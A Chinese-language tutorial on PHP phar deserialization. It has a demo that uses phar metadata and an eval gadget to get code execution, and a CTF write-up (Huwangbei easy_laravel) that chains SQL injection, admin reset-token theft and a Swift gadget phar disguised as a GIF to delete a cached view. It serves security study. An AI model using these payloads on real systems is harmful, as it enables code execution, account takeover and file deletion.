1. 程式人生 > >phar 反序列化學習

phar 反序列化學習

前言

pharphp 支援的一種偽協議, 在一些檔案處理函式的路徑引數中使用的話就會觸發反序列操作。

利用條件

  • phar 檔案要能夠上傳到伺服器端。
  • 要有可用的魔術方法作為“跳板” (php 反序列化漏洞的 pop 鏈)。
  • 檔案操作函式的引數可控,且 :/phar 等特殊字元沒有被過濾。

Demo

測試程式碼

測試程式碼如下

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

實現了一個簡單的上傳功能,只允許上傳 .gif 檔案。

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

這裡定義了一個類,在 __destruct 方法中會呼叫 eval 來執行類屬性中的程式碼。

file_exists 的引數我們可控,所以可以通過 phar

來反序列化 AnyClass , 進而實現 程式碼執行。

利用步驟

首先構造一個 phar檔案並上傳到伺服器

<?php
    class AnyClass{
        var $output = 'echo "ok";';
        function __destruct()
        {
            eval($this->output);
        }
    }

    $phar = new Phar('phar.phar');
    $phar->startBuffering();
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //設定stub,增加gif檔案頭
    $phar->addFromString('test.txt','test');  //新增要壓縮的檔案
    $object = new AnyClass();
    $object->output = 'phpinfo();';
    $phar->setMetadata($object);  //將自定義meta-data存入manifest
    $phar->stopBuffering();
?>

然後把 phar.phar 上傳

最後訪問 file_un.php, 使用 phar:// 來觸發反序列化。

護網杯 easy_laravel

測試環境位於

https://github.com/sco4x0/huwangbei2018_easy_laravel

首先使用

php artisan route:list

看看程式中的控制器

發現控制器基本都需要登入才能訪問,其中有些控制器更是需要 admin 許可權。

app/Http/Middleware/AdminMiddleware.php 裡面定義了 admin 許可權判斷的程式碼

class AdminMiddleware
{

    public function __construct(Guard $auth)
    {
        $this->auth = $auth;
    }

    public function handle($request, Closure $next)
    {
        if ($this->auth->user()->email !== '[email protected]') {
            return redirect(route('error'));
        }
        return $next($request);
    }
}

當用戶註冊郵箱為 [email protected] 就有 admin 許可權。

當權限後可以訪問 flag 獲取 flag

class FlagController extends Controller
{
    public function __construct()
    {
        $this->middleware(['auth', 'admin']);
    }

    public function showFlag()
    {
        $flag = file_get_contents('/th1s1s_F14g_2333333');
        return view('auth.flag')->with('flag', $flag);
    }
}

首先我們現在要做的就是想辦法獲取 admin 許可權。嘗試註冊 [email protected] 發現已經被註冊,不能重複註冊。然後去程式碼裡看看有沒有其他漏洞。

最後發現在 NoteController 存在 sql 注入

class NoteController extends Controller
{
    public function __construct()
    {
        $this->middleware('auth');
    }

    public function index(Note $note)
    {
        $username = Auth::user()->name;
        $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
        return view('note', compact('notes'));
    }
}

取我們註冊時用的使用者名稱插入到 sql 語句裡面造成注入。

表的結構可以看 database/migrations/ 。首先用 order by 語句測試發現列數為 5. 然後 union 查詢

發現密碼用 bcrypt 做的 hash , 而且是 40 位元組的隨機字串。所以密碼是沒辦法爆破了。

程式中還有重置密碼的功能,於是可以通過注入獲取重置 [email protected] 需要的 token

然後訪問

http://192.168.245.128/password/reset/f663eb2c795b7d95c91941f9a75934957846114169692d822b9e13737694a72b

[email protected] 的密碼重置掉。

然後就可以登入到 admin 介面

訪問 /flag 發現沒有按照控制器中的程式碼一樣打印出 /th1s1s_F14g_2333333 的內容。

因為舊的快取存在,導致我們看不到 flag , 我們需要刪掉快取檔案, 然後就可以讀到 flag

快取檔案位於

public function getCompiledPath($path)
{
    return $this->cachePath.'/'.sha1($path).'.php';
}

通過

知道使用了nginx 的預設配置,那麼 flag 檔案的完整路徑就是

/usr/share/nginx/html/resources/views/auth/flag.blade.php

經過 sha1 後得到 34e41df0934a75437873264cd28e2d835bc38772.php

所以現在的思路就是

  • 刪掉 34e41df0934a75437873264cd28e2d835bc38772.php
  • 然後訪問 /flag , 獲取 flag

在 UploadController 裡,可以注入 phar 導致反序列化

class UploadController extends Controller
{
    public function __construct()
    {
        $this->middleware(['auth', 'admin']);
        $this->path = storage_path('app/public');
    }

    public function index()
    {
        return view('upload');
    }

    public function upload(UploadRequest $request)
    {
        $file = $request->file('file');
        if (($file && $file->isValid())) {
            $allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
            $ext = $file->getClientOriginalExtension();
            if(in_array($ext, $allowed_extensions)){
                $file->move($this->path, $file->getClientOriginalName());
                Flash::success('上傳成功');
                return redirect(route('upload'));
            }
        }
        Flash::error('上傳失敗');
        return redirect(route('upload'));
    }

    public function files()
    {
        $files = array_except(Storage::allFiles('public'), ['0']);
        return view('files')->with('files', $files);
    }
 
    public function check(Request $request)
    {
        $path = $request->input('path', $this->path);
        $filename = $request->input('filename', null);
        if($filename){
            if(!file_exists($path . $filename)){
                Flash::error('磁碟檔案已刪除,重新整理檔案列表');
            }else{
                Flash::success('檔案有效');
            }
        }
        return redirect(route('files'));
    }
}

check 函式取了兩個引數拼接成路徑傳給了 file_exists 函式, 而且 upload 可以進行上傳。

所以我們可以通過 phar 來進行反序列化。

全域性搜一下unlink,在Swift_ByteStream_TemporaryFileByteStream的解構函式中存在unlink方法

於是利用這個類來反序列化,刪掉模板檔案即可。

<?php
class Swift_ByteStream_AbstractFilterableInputStream {
    /**
     * Write sequence.
     */
    protected $sequence = 0;
    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $filters = [];
    /**
     * A buffer for writing.
     */
    private $writeBuffer = '';
    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
    /** The internal pointer offset */
    private $_offset = 0;

    /** The path to the file */
    private $_path;

    /** The mode this file is opened in for writing */
    private $_mode;

    /** A lazy-loaded resource handle for reading the file */
    private $_reader;

    /** A lazy-loaded resource handle for writing the file */
    private $_writer;

    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;

    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;

    /**
     * Create a new FileByteStream for $path.
     *
     * @param string $path
     * @param bool   $writable if true
     */
    public function __construct($path, $writable = false)
    {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';

        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }

    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    public function __construct() {
        $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
        parent::__construct($filePath, true);
    }
    public function __destruct() {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

把生成的檔案改成圖片字尾上傳上去, 會儲存到 storage/app/public/ 目錄, 然後用 phar 反序列化

然後在 訪問 /flag 獲取 flag

參考

https://xz.aliyun.com/t/2715#toc-8
https://www.anquanke.com/post/id/161849#h2-3
https://xz.aliyun.com/t/2912#toc-1
http://www.venenof.com/index.php/archives/565/